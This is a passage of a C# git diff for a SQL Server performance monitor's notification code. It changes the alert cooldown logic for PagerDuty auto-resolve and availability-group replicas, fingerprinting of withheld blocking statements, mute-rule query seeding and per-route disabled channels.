+++ b/PerformanceMonitor.Notifications/IncidentCooldown.cs
@@ -26,6 +26,18 @@ namespace PerformanceMonitor.Notifications;
 public sealed class IncidentCooldown
 {
     private readonly ConcurrentDictionary<string, DateTime> _cooldowns = new();
+
+    /* ClearMetric's sticky half: the clear instant per metric-level key. Written ONLY by ClearMetric
+       (the key shape is "{prefix}{server}:{metric}" for the fallback key, or "{prefix}{server}:{metric}:{scope}"
+       for a #5469 replica-scoped one; a scoped key is never seeded, so the seed never reads it back. A
+       fingerprinted key shares the scoped shape and is never found here either: the pairs carry no
+       incidents, and the seed's lookup of one is a miss feeding the "no clear" answer). Read by
+       EvaluateAsync to keep a pre-clear history row from re-seeding an entry the clear just removed:
+       the PR review's point 2, which reproduced as "down, back, down" where the DOWN that follows a
+       delivered resolve still met the first outage's in-memory stamp that ClearMetric deleted — until
+       the seed rebuilt it from the alert history. */
+    private readonly ConcurrentDictionary<string, DateTime> _clearedAtUtc = new();
+
     private readonly string _keyPrefix;
     private readonly Func<string, string, string?, Task<DateTime?>>? _seedLastSentUtc;
 
@@ -57,13 +69,36 @@ public IncidentCooldown(string keyPrefix, Func<string, string, string?, Task<Dat
     /// posting is still all-or-nothing per alert — but the render no longer has to treat it as the only
     /// answer available.</para>
     /// </summary>
+    /// <param name="scope">
+    /// #5469: an identity folded into the metric-level fallback key only ("{server}:{metric}:{scope}"), so
+    /// two incidents of one metric on one server hold separate windows. Null (every caller but the AG pair
+    /// under PagerDuty auto-resolve) leaves the key byte-identical to today's. A scoped key is never seeded
+    /// from the alert history: the history answers per (server, metric, fingerprint) and carries no scope,
+    /// so a seed would hand one replica's send time to its siblings. After a restart a scoped key therefore
+    /// starts as a first notice, which can re-post once inside a window and never swallows a notice.
+    /// </param>
+    /// <param name="pairedEdge">
+    /// #5469: the OTHER edge of the recovery pair <paramref name="metricName"/> belongs to ("Server Restored"
+    /// for "Server Unreachable" and the reverse), passed only under PagerDuty auto-resolve AND when PagerDuty is
+    /// routed for the alert. When set, the
+    /// metric-level seed also reads that edge's last send and skips its own seed if the other edge sent
+    /// MORE RECENTLY: the other edge opened (or closed) a newer incident, so this edge's older row describes
+    /// the incident before it and must not throttle the first notice of the new one. That is what
+    /// <see cref="ClearMetric"/> does in memory, made to survive a restart. Null (every caller but the pairs
+    /// under auto-resolve) seeds exactly as before. The seed is looser than the in-memory clear: it counts ANY
+    /// delivered webhook row of the other edge (Teams, Slack or the generic webhook), while the clear needs a
+    /// delivered PagerDuty post. So after a restart that follows a failed PagerDuty close (the chat channels
+    /// delivered the recovery, PagerDuty returned an error), the seed skips and the next outage posts, where
+    /// without a restart it would stay throttled. That is one extra notice, never a swallowed one.
+    /// </param>
     public async Task<Decision> EvaluateAsync(
-        string serverId, string metricName, IReadOnlyList<AlertIncident>? incidents, TimeSpan window)
+        string serverId, string metricName, IReadOnlyList<AlertIncident>? incidents, TimeSpan window,
+        string? scope = null, string? pairedEdge = null)
     {
         var now = DateTime.UtcNow;
         Evict(now, window);
 
-        var keys = BuildKeys(serverId, metricName, incidents);
+        var keys = BuildKeys(serverId, metricName, incidents, scope);
 
         bool anyFresh = false;
         bool anyFirstNotice = false;
@@ -72,11 +107,33 @@ public async Task<Decision> EvaluateAsync(
 
         foreach (var (key, dedupKey) in keys)
         {
-            if (_seedLastSentUtc is not null && !_cooldowns.ContainsKey(key))
+            var scopedFallback = scope is not null && dedupKey is null;
+            if (_seedLastSentUtc is not null && !scopedFallback && !_cooldowns.ContainsKey(key))
             {
                 var lastSent = await _seedLastSentUtc(serverId, metricName, dedupKey);
-                if (lastSent.HasValue)
-                    _cooldowns.TryAdd(key, lastSent.Value);
+
+                /* A row older than the recorded clear is the row the clear was FOR — re-seeding it would
+                   undo ClearMetric whenever the map entry is gone from memory but the history row is not
+                   (the pair-of-points this fix exists for). A seed newer than the clear still applies: a
+                   genuinely new send happened after the resolve, and that send's row re-arms the window
+                   normally. */
+                if (lastSent.HasValue &&
+                    (!_clearedAtUtc.TryGetValue(key, out var clearedAtUtc) || lastSent.Value > clearedAtUtc))
+                {
+                    /* #5469: a restart loses the in-memory clears, so the history stands in for them. The
+                       pair's other edge sending after this one is the same fact a clear records (the next
+                       firing or recovery opens a new incident), so this edge's row is not seeded. Equal
+                       times seed, like the clear comparison above: only a strictly newer send wins. */
+                    var supersededByOtherEdge = false;
+                    if (pairedEdge is not null && dedupKey is null)
+                    {
+                        var otherSent = await _seedLastSentUtc(serverId, pairedEdge, null);
+                        supersededByOtherEdge = otherSent.HasValue && otherSent.Value > lastSent.Value;
+                    }
+
+                    if (!supersededByOtherEdge)
+                        _cooldowns.TryAdd(key, lastSent.Value);
+                }
             }
 
             /* Read once and keep BOTH halves. The absence of an entry after the seed attempt is the only
@@ -127,12 +184,48 @@ public void Stamp(Decision decision)
             _cooldowns[key] = decision.EvaluatedAtUtc;
     }
 
+    /// <summary>
+    /// Forgets the metric-level fallback entry for (<paramref name="serverId"/>, <paramref name="metricName"/>)
+    /// on THIS cooldown's key space. The PagerDuty auto-resolve recovery calls this for its pair's FIRING
+    /// metric after a delivered close: the stamp sitting on that key is a relic of an incident that no longer
+    /// exists, and without the clear the next firing of the same metric meets the old window and never
+    /// announces. The same call (#5469) also names the pair's RECOVERY metric after a DELIVERED firing: the
+    /// new incident has not been closed yet, so its recovery is a first notice again. Call only on a
+    /// DELIVERED send — evaluating (not sending) must not re-arm anything.
+    /// <para>
+    /// The clear is sticky across history re-seeds for PRE-clear rows only: the clear instant is recorded
+    /// beside the removal, and EvaluateAsync's seed branch ignores any history row older than it — without
+    /// that the PagerDuty close's next firing would read the pre-clear send straight back out of the alert
+    /// history (both production paths seed) and be throttled against the incident that no longer exists. A
+    /// seeded time ending up NEWER than the clear still applies — a genuinely new send happened after the
+    /// resolve, and it re-arms the window normally. A restart discards the record along with the in-memory
+    /// cooldown. For the recovery pairs under auto-resolve the seed then rebuilds the answer from history: it
+    /// skips an edge's row when the other edge of the pair sent after it (see the <c>pairedEdge</c>
+    /// parameter of <see cref="EvaluateAsync"/>), so a restart in the middle of an outage does not bring the
+    /// old window back. A replica-scoped key is not seeded at all and starts as a first notice.
+    /// </para>
+    /// <para>
+    /// The clear is METRIC-level — one key per server and metric — unless <paramref name="scope"/> names
+    /// the same identity <see cref="EvaluateAsync"/> keyed the entry with (#5469: the AG pair's replica,
+    /// under PagerDuty auto-resolve). Then it forgets only that replica's entry, so one replica's reconnect
+    /// does not re-arm a sibling that is still down.
+    /// </para>
+    /// </summary>
+    public void ClearMetric(string serverId, string metricName, string? scope = null)
+    {
+        var key = scope is null
+            ? $"{_keyPrefix}{serverId}:{metricName}"
+            : $"{_keyPrefix}{serverId}:{metricName}:{scope}";
+        _clearedAtUtc[key] = DateTime.UtcNow;
+        _cooldowns.TryRemove(key, out _);
+    }
+
     // Distinct non-blank fingerprints -> one "{prefix}{server}:{metric}:{dedupKey}" key each; no
     // fingerprint -> the single "{prefix}{server}:{metric}" fallback key (pre-#1154 behavior). A blank
     // DedupKey can't occur (AlertFingerprint returns null incidents, filtered upstream) but is excluded
     // defensively so it never produces a "…::" key.
     private List<(string Key, string? DedupKey)> BuildKeys(
-        string serverId, string metricName, IReadOnlyList<AlertIncident>? incidents)
+        string serverId, string metricName, IReadOnlyList<AlertIncident>? incidents, string? scope)
     {
         var dedupKeys = incidents?
             .Select(i => i.DedupKey)
@@ -145,13 +238,23 @@ public void Stamp(Decision decision)
                 .Select(d => ($"{_keyPrefix}{serverId}:{metricName}:{d}", (string?)d))
                 .ToList();
 
-        return new List<(string, string?)> { ($"{_keyPrefix}{serverId}:{metricName}", (string?)null) };
+        /* #5469: the scope joins the fallback key only. The AG pair is stateless (no incidents), so it always
+           lands here; a null scope is the pre-existing key byte for byte. */
+        return new List<(string, string?)>
+        {
+            (scope is null ? $"{_keyPrefix}{serverId}:{metricName}" : $"{_keyPrefix}{serverId}:{metricName}:{scope}",
+             (string?)null)
+        };
     }
 
     /* Drop entries past 2x the window so the per-fingerprint dict stays bounded — any entry past 1x is
        already re-fire-eligible, so doubling only adds clock-skew margin and can never evict a key that
        could still suppress. A key dropped here that later recurs is re-seeded from history on next touch;
-       that's a wash, not a bug. Mirrors AnalysisNotificationService's prune idiom. */
+       that's a wash, not a bug. Mirrors AnalysisNotificationService's prune idiom.
+       The cleared-at map lives under the same rule: a clear at least two windows old names an incident
+       that cannot still be re-seeding from inside the window, so both maps face the same pruneBefore.
+       Pruning a CLEAR can un-cover a history row (the seed would apply again) — but only for a row at
+       least two windows old by the same measure, which re-fires anyway. */
     private void Evict(DateTime now, TimeSpan window)
     {
         var pruneBefore = now - TimeSpan.FromTicks(window.Ticks * 2);
@@ -160,11 +263,20 @@ private void Evict(DateTime now, TimeSpan window)
             if (entry.Value < pruneBefore)
                 _cooldowns.TryRemove(entry.Key, out _);
         }
+
+        foreach (var entry in _clearedAtUtc)
+        {
+            if (entry.Value < pruneBefore)
+                _clearedAtUtc.TryRemove(entry.Key, out _);
+        }
     }
 
     /// <summary>Live key count, for tests asserting eviction keeps the dict bounded.</summary>
     internal int TrackedKeyCount => _cooldowns.Count;
 
+    /// <summary>Live cleared-entry count, for tests asserting the clear record faces the same eviction bound.</summary>
+    internal int TrackedClearCount => _clearedAtUtc.Count;
+
     /// <summary>The send decision plus the candidate keys to stamp on a successful send.</summary>
     /// <param name="DeliverableDedupKeys">
     /// #3313: the #1140 dedup fingerprints that were OUTSIDE their own window — the incidents a channel
diff --git a/PerformanceMonitor.Notifications/IncidentDeliveryFilter.cs b/PerformanceMonitor.Notifications/IncidentDeliveryFilter.cs
index c68270c035..2468cdd667 100644
--- a/PerformanceMonitor.Notifications/IncidentDeliveryFilter.cs
+++ b/PerformanceMonitor.Notifications/IncidentDeliveryFilter.cs
@@ -173,6 +173,7 @@ PerEventNotification.NewContext uses. The alert-level AttachmentXml is the first
             SeverityOverride = context.SeverityOverride,
             AttachmentXml = attachment?.Xml,
             AttachmentFileName = attachment?.FileName,
+            AgReplicaIdentity = context.AgReplicaIdentity,
             Incidents = kept
         };
 
@@ -222,9 +223,12 @@ there rather than a copy of the string. Every other item (advice prose, remediat
     /// <para>A null context with a roster becomes a context carrying only the roster. That is the metric-level
     /// fan-out — one CPU threshold breached on fifteen servers, or a self-alert, neither of which builds a
     /// context at all — and it is the case where the roster is the only thing naming the other fourteen. The
-    /// four members are enumerated rather than cloned wholesale because <see cref="AlertContext"/> has no copy
-    /// ctor; the filtered copy below enumerates the same four, so a fifth member arriving would be missing from
-    /// both, which is what <c>Lite.Tests</c>' member-count pin on this type is for.</para>
+    /// five members are enumerated rather than cloned wholesale because <see cref="AlertContext"/> has no copy
+    /// ctor; the filtered copy above enumerates the same five (<see cref="AlertContext.AgReplicaIdentity"/>
+    /// rides along so the PagerDuty key derived from THIS copy stays per replica — WebhookAlertService derives
+    /// it from <c>render.Context</c>, so a fold-carrying render that dropped the identity would re-key a paired
+    /// alert per server and the resolve would miss its incident), so a sixth member arriving would be missing
+    /// from both, which is what <c>Lite.Tests</c>' member-count pin on this type is for.</para>
     /// </summary>
     private static AlertContext? WithRoster(AlertContext? context, AlertDetailItem? roster)
     {
@@ -238,6 +242,7 @@ there rather than a copy of the string. Every other item (advice prose, remediat
             SeverityOverride = context?.SeverityOverride,
             AttachmentXml = context?.AttachmentXml,
             AttachmentFileName = context?.AttachmentFileName,
+            AgReplicaIdentity = context?.AgReplicaIdentity,
             Incidents = context?.Incidents
         };
 
diff --git a/PerformanceMonitor.Notifications/IncidentGrouping.cs b/PerformanceMonitor.Notifications/IncidentGrouping.cs
index b22e29fef9..359993e2e9 100644
--- a/PerformanceMonitor.Notifications/IncidentGrouping.cs
+++ b/PerformanceMonitor.Notifications/IncidentGrouping.cs
@@ -11,6 +11,7 @@
 using System.Globalization;
 using System.Linq;
 using System.Text.RegularExpressions;
+using PerformanceMonitor.Analysis;
 
 namespace PerformanceMonitor.Notifications;
 
@@ -242,7 +243,12 @@ public sealed record BlockingGroup(
     /// Collapses the events into one group per distinct incident, preserving input order of first
     /// appearance, with the highest occurrence count first. Empty input returns an empty list.
     /// </summary>
-    public static List<BlockingGroup> Group(string serverName, IEnumerable<BlockedEvent> events)
+    /// <param name="cutStatement">How the per-event card cuts a blocked or blocking statement (#5320). A caller
+    /// whose events carry raw statement text passes a judge-then-cut (this project cannot reference the statement
+    /// filter); null keeps the plain cut, for events whose text is already judged. The group's identity never
+    /// reads it.</param>
+    public static List<BlockingGroup> Group(
+        string serverName, IEnumerable<BlockedEvent> events, Func<string, string>? cutStatement = null)
     {
         var order = new List<string>();
         var buckets = new Dictionary<string, List<BlockedEvent>>(StringComparer.Ordinal);
@@ -291,7 +297,7 @@ the INCIDENT IDENTITY is normalized. */
                     new[] { representative.ContentiousObject! }, rows.Count, waitRange)
                 : AlertFingerprint.ForKey(
                     serverName, AlertFingerprint.Blocking,
-                    QueryPairKey(representative),
+                    FingerprintKey(identity, representative),
                     DatabaseDisplay(representative.Database), rows.Count, waitRange);
 
             // ForObjects/ForKey only return null on empty identity, which IdentityKey already excludes,
@@ -312,7 +318,7 @@ database actually called that. */
                the DMV fallback gets null rather than a neighbouring incident's report. */
             var enriched = incident with
             {
-                DetailFields = BlockingDetail(representative),
+                DetailFields = BlockingDetail(representative, cutStatement ?? Truncate),
                 Database = IncidentDatabaseHelpers.NormalizeDatabase(representative.Database),
                 Attachment = rows.Select(r => r.Attachment).FirstOrDefault(a => a is { IsComplete: true }),
             };
@@ -330,7 +336,33 @@ the DMV fallback gets null rather than a neighbouring incident's report. */
     private static string IdentityKey(BlockedEvent e) =>
         !string.IsNullOrWhiteSpace(e.ContentiousObject)
             ? "obj|" + Norm(e.Database) + "|" + Norm(e.ContentiousObject)
-            : "qp|" + QueryPairKey(e);
+            : HasWithheldQuery(e)
+                /* #4348: a withheld statement has no text to group on, and every one reads as the same marker, so a
+                   text key would fold different statements into one incident. Key on everything that is NOT
+                   withheld: the database, the visible side's literal-stripped text (the marker stands in for the
+                   withheld side, so which side is withheld still matters) and the lock mode.
+                   Nothing in the sample's position goes in the key: an ordinal would change when sample order
+                   shifts between cycles, and the same incident would get a new dedup key and alert again.
+                   The limit: two withheld chains that differ in nothing visible (same database, same visible
+                   partner statement, same lock mode) are ONE incident, because BlockedEvent carries no
+                   non-text identity to tell them apart. */
+                ? "withheld|" + Norm(e.Database)
+                    + "|" + (IsWithheld(e.BlockedQuery) ? "<withheld>" : NormalizeQuery(e.BlockedQuery))
+                    + "|" + (IsWithheld(e.BlockingQuery) ? "<withheld>" : NormalizeQuery(e.BlockingQuery))
+                    + "|" + Norm(e.LockMode)
+                : "qp|" + QueryPairKey(e);
+
+    /// <summary>The text the incident fingerprint is keyed on: the query pair for a text-keyed incident, the
+    /// withheld-chain key for one whose text was withheld (database, visible side, lock mode; see
+    /// <see cref="IdentityKey"/>).</summary>
+    private static string FingerprintKey(string identity, BlockedEvent representative) =>
+        identity.StartsWith("withheld|", StringComparison.Ordinal) ? identity : QueryPairKey(representative);
+
+    private static bool HasWithheldQuery(BlockedEvent e) =>
+        IsWithheld(e.BlockedQuery) || IsWithheld(e.BlockingQuery);
+
+    private static bool IsWithheld(string? query) =>
+        WithheldStatementMarker.IsMarker(query);
 
     private static string QueryPairKey(BlockedEvent e) =>
         Norm(e.Database) + "|" + NormalizeQuery(e.BlockedQuery) + "|" + NormalizeQuery(e.BlockingQuery);
@@ -360,13 +392,13 @@ private static string FormatWaitRange(long minMs, long maxMs)
 
     // Forensic detail for a blocking incident's per-event card (#1141): the representative chain's
     // database, contentious object, the blocked/blocking query pair (truncated), and lock mode.
-    private static List<AlertIncidentField> BlockingDetail(BlockedEvent e)
+    private static List<AlertIncidentField> BlockingDetail(BlockedEvent e, Func<string, string> cut)
     {
         var f = new List<AlertIncidentField>();
         if (!string.IsNullOrWhiteSpace(e.Database)) f.Add(new AlertIncidentField("Database", e.Database!));
         if (!string.IsNullOrWhiteSpace(e.ContentiousObject)) f.Add(new AlertIncidentField("Contentious Object", e.ContentiousObject!));
-        if (!string.IsNullOrWhiteSpace(e.BlockedQuery)) f.Add(new AlertIncidentField("Blocked Query", Truncate(e.BlockedQuery!)));
-        if (!string.IsNullOrWhiteSpace(e.BlockingQuery)) f.Add(new AlertIncidentField("Blocking Query", Truncate(e.BlockingQuery!)));
+        if (!string.IsNullOrWhiteSpace(e.BlockedQuery)) f.Add(new AlertIncidentField("Blocked Query", cut(e.BlockedQuery!)));
+        if (!string.IsNullOrWhiteSpace(e.BlockingQuery)) f.Add(new AlertIncidentField("Blocking Query", cut(e.BlockingQuery!)));
         if (!string.IsNullOrWhiteSpace(e.LockMode)) f.Add(new AlertIncidentField("Lock Mode", e.LockMode!));
         return f;
     }
diff --git a/PerformanceMonitor.Notifications/MuteRule.cs b/PerformanceMonitor.Notifications/MuteRule.cs
index 49d3f6ccdb..7d49346843 100644
--- a/PerformanceMonitor.Notifications/MuteRule.cs
+++ b/PerformanceMonitor.Notifications/MuteRule.cs
@@ -8,6 +8,7 @@
 
 using System;
 using System.Collections.Generic;
+using PerformanceMonitor.Analysis;
 
 namespace PerformanceMonitor.Notifications;
 
@@ -186,6 +187,44 @@ public class AlertMuteContext
     public string? WaitType { get; set; }
     public string? JobName { get; set; }
 
+    /// <summary>The longest query-text pattern a mute dialog pre-fills from an alert.</summary>
+    public const int SeedQueryTextMax = 200;
+
+    /// <summary>The query-text pattern a mute dialog pre-fills for this alert, or null for none. #4348: a statement
+    /// the collector withheld reads as <see cref="WithheldStatementMarker.Text"/>, and a rule on that text
+    /// would "match" every withheld statement and nothing else, so no pattern is seeded from it. #5320: the text
+    /// parsed out of a stored alert's detail may predate the statement filter (alert rows written before the
+    /// filter were never judged), so the WHOLE text goes through <paramref name="judgeStatement"/> first and the
+    /// cut to <see cref="SeedQueryTextMax"/> is taken from the judged text, never from the stored text (a cut
+    /// first could leave half of a statement the whole of it names). A statement the judge withholds seeds
+    /// nothing. This project cannot reference the project that holds the judge, so each dialog passes
+    /// <c>SensitiveStatements.Text</c>.</summary>
+    /// <param name="judgeStatement">The shared statement judge: returns the text unchanged when it is clean and
+    /// the withheld marker (or null) when it is named. Required: there is no unjudged overload.</param>
+    public string? SeedQueryTextPattern(Func<string?, string?> judgeStatement)
+    {
+        ArgumentNullException.ThrowIfNull(judgeStatement);
+        if (string.IsNullOrEmpty(QueryText))
+        {
+            return null;
+        }
+
+        var judged = judgeStatement(QueryText);
+        if (string.IsNullOrEmpty(judged) || WithheldStatementMarker.IsMarker(judged))
+        {
+            return null;
+        }
+
+        if (judged.Length <= SeedQueryTextMax)
+        {
+            return judged;
+        }
+
+        /* Do not cut between the halves of a surrogate pair. */
+        var cut = char.IsHighSurrogate(judged[SeedQueryTextMax - 1]) ? SeedQueryTextMax - 1 : SeedQueryTextMax;
+        return judged.Substring(0, cut);
+    }
+
     /// <summary>
     /// Extracts context fields (Database, Query, Wait Type, Job Name) from the
     /// structured detail_text stored with each alert. The format is label/value
diff --git a/PerformanceMonitor.Notifications/NotificationRoute.cs b/PerformanceMonitor.Notifications/NotificationRoute.cs
index 45b595adb4..6411fcb616 100644
--- a/PerformanceMonitor.Notifications/NotificationRoute.cs
+++ b/PerformanceMonitor.Notifications/NotificationRoute.cs
@@ -7,6 +7,8 @@
  */
 
 using System;
+using System.Collections.Generic;
+using System.Linq;
 
 namespace PerformanceMonitor.Notifications;
 
@@ -50,6 +52,17 @@ public sealed record NotificationRoute(
     string SmtpRecipients,
     bool Enabled)
 {
+    /// <summary>The webhook channels (by <see cref="NotificationRouter"/> channel name) that are OFF on this route
+    /// because a destination the route set could not be read (#5366). Not a stored column: the reader that could not open
+    /// a saved value sets it. A channel that is off here sends nothing for this route's alerts, and does not fall back
+    /// to the settings row or a less specific route, because the alert would then go somewhere it was not configured to
+    /// go. Null or empty means no channel is off.</summary>
+    public IReadOnlyCollection<string>? OffChannels { get; init; }
+
+    /// <summary>Whether <paramref name="channel"/> is off on this route (see <see cref="OffChannels"/>).</summary>
+    public bool IsOffFor(string channel) =>
+        OffChannels is not null && OffChannels.Contains(channel, StringComparer.Ordinal);
+
     /// <summary>The family this route matches, or null when <see cref="MetricMatch"/> is an exact metric name.</summary>
     public string? Family => AlertFamily.NormalizeFamily(MetricMatch);
 
diff --git a/PerformanceMonitor.Notifications/NotificationRouter.cs b/PerformanceMonitor.Notifications/NotificationRouter.cs
index 6dff30659e..e1f9226cbb 100644
--- a/PerformanceMonitor.Notifications/NotificationRouter.cs
+++ b/PerformanceMonitor.Notifications/NotificationRouter.cs
@@ -250,6 +250,12 @@ private static RoutedDestination ResolveChannel(
     {
         foreach (var route in exact)
         {
+            /* #5366: a destination the route set but that could not be read is off, not inherited. */
+            if (route.IsOffFor(channel))
+            {
+                return new RoutedDestination(channel, null, route.RouteId, RouteSource.None);
+            }
+
             var value = column(route);
             if (!string.IsNullOrWhiteSpace(value))
             {
@@ -259,6 +265,11 @@ private static RoutedDestination ResolveChannel(
 
         foreach (var route in byFamily)
         {
+            if (route.IsOffFor(channel))
+            {
+                return new RoutedDestination(channel, null, route.RouteId, RouteSource.None);
+            }
+
             var value = column(route);
             if (!string.IsNullOrWhiteSpace(value))
             {
diff --git a/PerformanceMonitor.Notifications/PerEventNotification.cs b/PerformanceMonitor.Notifications/PerEventNotification.cs
index 2960778d40..316718a45b 100644
--- a/PerformanceMonitor.Notifications/PerEventNotification.cs
+++ b/PerformanceMonitor.Notifications/PerEventNotification.cs
@@ -91,8 +91,10 @@ public static List<Message> Split(AlertContext source, int maxPerCycle)
         return messages;
     }
 
-    /* A fresh context for the incidents ONE message carries: the source's severity override, plus the
-       forensic attachment (deadlock_graph.xml / blocked_process_report.xml) belonging to those incidents so
+    /* A fresh context for the incidents ONE message carries: the source's severity override, the
+       per-replica identity (#5368 — describes the firing, not one incident, and the PagerDuty key is
+       derived from the context the sender is handed), plus the forensic attachment
+       (deadlock_graph.xml / blocked_process_report.xml) belonging to those incidents so
        per-event email keeps the file #1146 put there.
 
        #3330: the attachment comes from the incidents, not from the source. Copying the source's put the
@@ -106,7 +108,8 @@ private static AlertContext NewContext(AlertContext source, IReadOnlyList<AlertI
         {
             SeverityOverride = source.SeverityOverride,
             AttachmentXml = attachment?.Xml,
-            AttachmentFileName = attachment?.FileName
+            AttachmentFileName = attachment?.FileName,
+            AgReplicaIdentity = source.AgReplicaIdentity
         };
     }
 
diff --git a/PerformanceMonitor.Notifications/WebhookAlertService.cs b/PerformanceMonitor.Notifications/WebhookAlertService.cs
index d45767921a..c76f8d5cdd 100644
--- a/PerformanceMonitor.Notifications/WebhookAlertService.cs
+++ b/PerformanceMonitor.Notifications/WebhookAlertService.cs
@@ -225,8 +225,39 @@ the alert log on first touch per key (#1145), unless the store is null (no seedi
                incidents -> the metric-level fallback key (today's behavior). WHETHER to post only;
                #3313's filter below decides WHICH incidents the post contains. */
             var window = TimeSpan.FromMinutes(_settings.EmailCooldownMinutes);
+
+            /* #3598 / #5366: ONE snapshot of the webhook settings for this whole delivery, and the route
+               resolved from it. Taken here, ahead of the cooldown (the route resolution is pure, so a throttled
+               alert resolving it costs nothing), because the cooldown key below depends on whether PagerDuty
+               is routed for this alert. Every later read of a webhook setting, the PagerDuty flag included,
+               comes from this one snapshot. With an adapter that does not override SnapshotForDelivery (Lite)
+               it is the live settings. */
+            var delivery = _settings.SnapshotForDelivery();
+            var route = NotificationRouter.Resolve(metricName, delivery.NotificationRoutes, delivery);
+
+            /* #5469: the PagerDuty auto-resolve behaviour reaches the cooldown only when PagerDuty will
+               actually be sent this alert: the flag on AND a destination for this metric. The flag is read
+               ONCE, here, into autoResolveFlag. The scope, the seed, both clears, the triage link and the
+               PagerDuty send (its dedup key and its event action) all use that one value, so they name one
+               key and one action even if the flag is saved while the post is in flight (Lite, which does not
+               freeze a snapshot, included). With the flag off, or PagerDuty unset or not routed for the
+               metric, every key is the one dev has always used. */
+            var autoResolveFlag = delivery.PagerDutyAutoResolve;
+            var pagerDutyAutoResolve = autoResolveFlag && route.PagerDuty.Destination is not null;
+
+            /* Each AG replica is its own incident, so its cooldown window is its own too (Teams, Slack and the
+               generic webhook share it: one notice per replica per window). Null (not applying, not the AG
+               pair, or no identity) is the per-server key of today. The pair's other edge rides along so the
+               history seed can tell which incident a stored send belongs to (#5469 restart case). */
+            var cooldownScope = PairedReplicaScope(metricName, context, pagerDutyAutoResolve);
+            string? pairedEdge = null;
+            if (pagerDutyAutoResolve && AlertFamily.TryGetPairedEdge(metricName, out var otherEdge))
+            {
+                pairedEdge = otherEdge;
+            }
+
             var decision = await _cooldown.EvaluateAsync(
-                serverId, metricName, context?.Incidents, window);
+                serverId, metricName, context?.Incidents, window, cooldownScope, pairedEdge);
 
             if (!decision.ShouldSend)
             {
@@ -315,31 +346,36 @@ correct one. #3297's null-when-redundant behaviour is unchanged. #3430's roster
                alert-history id, because the history row is written AFTER delivery — the page resolves the
                row on read. Null (base URL unset/invalid) means every channel omits the link; delivery is
                never gated on it. The dedup key uses the same serverId-else-serverName identity the generic
-               channel's {{dedup_key}} token uses, so link, token, and PagerDuty all correlate — and it
-               reads the RENDERED incidents, so the anchor names an incident the card actually shows. */
+               channel's {{dedup_key}} token uses, and it reads the RENDERED incidents, so the anchor names an
+               incident the card actually shows. The link and PagerDuty follow the auto-resolve flag and so
+               correlate with each other; the generic {{dedup_key}} token does NOT follow it (#5469), so under
+               auto-resolve a paired edge's link and PagerDuty key are the pair's, the token is per state. */
             var triageUrl = TriageLink.Build(
                 _settings.TriageBaseUrl, serverName, metricName, nowUtc,
-                DerivePagerDutyDedupKey(string.IsNullOrEmpty(serverId) ? serverName : serverId, metricName, renderContext));
+                DerivePagerDutyDedupKey(
+                    string.IsNullOrEmpty(serverId) ? serverName : serverId, metricName, renderContext, autoResolveFlag));
 
-            /* #3598: WHERE each channel posts, resolved ONCE for the whole fan-out and AFTER the cooldown and
-               the budget above (design point 2) — so one firing is one delivery decision regardless of where
-               it lands, and a throttled alert never resolves at all. Exact-metric route, then family route,
+            /* #3598: WHERE each channel posts, resolved ONCE for the whole fan-out (see the snapshot and the route
+               at the top of this method: the cooldown key needs the PagerDuty answer, and the resolution is pure
+               so resolving it before the cooldown changes nothing the cooldown or budget decide) — so one
+               firing is one delivery decision regardless of where it lands. Exact-metric route, then family route,
                then the parent row's own destination, per channel; with zero routes every destination below
                IS the settings member the four gates above read, so the fan-out is the pre-routes one byte
                for byte. A channel that resolves to nothing is not attempted, exactly as an unconfigured one
                was not. The decision rides the result so the deliverer can record it on the history row. */
-            var route = NotificationRouter.Resolve(metricName, _settings.NotificationRoutes, _settings);
-
+            /* #5366: the routing decision and every channel's URL, headers, body template and proxy below
+               read from the delivery snapshot taken above, so a saved setting that changes while the posts are
+               in flight cannot send a later channel somewhere the decision did not name. */
             if (route.Teams.Destination is { } teamsUrl)
             {
                 attempted = true;
-                Record(NotificationRouter.TeamsChannel, await TrySendTeamsAlertAsync(teamsUrl, metricName, serverName, currentValue, thresholdValue, renderContext, triageUrl, prose, nowUtc, displayName, cancellationToken));
+                Record(NotificationRouter.TeamsChannel, await TrySendTeamsAlertAsync(delivery, teamsUrl, metricName, serverName, currentValue, thresholdValue, renderContext, triageUrl, prose, nowUtc, displayName, cancellationToken));
             }
 
             if (route.Slack.Destination is { } slackUrl)
             {
                 attempted = true;
-                Record(NotificationRouter.SlackChannel, await TrySendSlackAlertAsync(slackUrl, metricName, serverName, currentValue, thresholdValue, renderContext, triageUrl, prose, nowUtc, displayName, cancellationToken));
+                Record(NotificationRouter.SlackChannel, await TrySendSlackAlertAsync(delivery, slackUrl, metricName, serverName, currentValue, thresholdValue, renderContext, triageUrl, prose, nowUtc, displayName, cancellationToken));
             }
 
             if (route.Generic.Destination is { } genericUrl)
@@ -348,13 +384,47 @@ was not. The decision rides the result so the deliverer can record it on the his
                    so it stays the immutable metric name — the display name is a human-title concern only, and
                    this channel has no title. The prose detail DOES go, because it is alert content. */
                 attempted = true;
-                Record(NotificationRouter.GenericChannel, await TrySendGenericAlertAsync(genericUrl, metricName, serverName, currentValue, thresholdValue, serverId, renderContext, triageUrl, prose, nowUtc, cancellationToken));
+                Record(NotificationRouter.GenericChannel, await TrySendGenericAlertAsync(delivery, genericUrl, metricName, serverName, currentValue, thresholdValue, serverId, renderContext, triageUrl, prose, nowUtc, cancellationToken));
             }
 
             if (route.PagerDuty.Destination is { } pagerDutyKey)
             {
                 attempted = true;
-                Record(NotificationRouter.PagerDutyChannel, await TrySendPagerDutyAlertAsync(pagerDutyKey, metricName, serverName, currentValue, thresholdValue, serverId, renderContext, triageUrl, prose, nowUtc, displayName, cancellationToken));
+                var pagerDutyError = await TrySendPagerDutyAlertAsync(delivery, autoResolveFlag, pagerDutyKey, metricName, serverName, currentValue, thresholdValue, serverId, renderContext, triageUrl, prose, nowUtc, displayName, cancellationToken);
+                Record(NotificationRouter.PagerDutyChannel, pagerDutyError);
+
+                /* With auto-resolve on, a DELIVERED close re-opens the lifecycle: the cooldown entry the
+                   pair's FIRING left behind describes an incident PagerDuty just closed, so without the
+                   clear the NEXT firing replays against that stamp and never posts (and the seeded
+                   history row keeps the pattern alive across a restart until the entry lapses). The clear
+                   runs only here — a resolve that actually posts — not on throttle, fold, or error paths,
+                   and it names exactly the pair's firing metric, so a failed close never re-arms an outage
+                   whose incident may still be open in PagerDuty. */
+                if (pagerDutyError is null
+                    && pagerDutyAutoResolve
+                    && AlertFamily.RecoveryPairs.TryGetValue(metricName, out var clearedFiring))
+                {
+                    /* The AG pair's clear is per REPLICA (#5469 part 2): the firing and recovery keys carry
+                       the replica identity under this same flag, so one replica's reconnect forgets only
+                       its own firing entry and a sibling that is still down keeps its window. The server
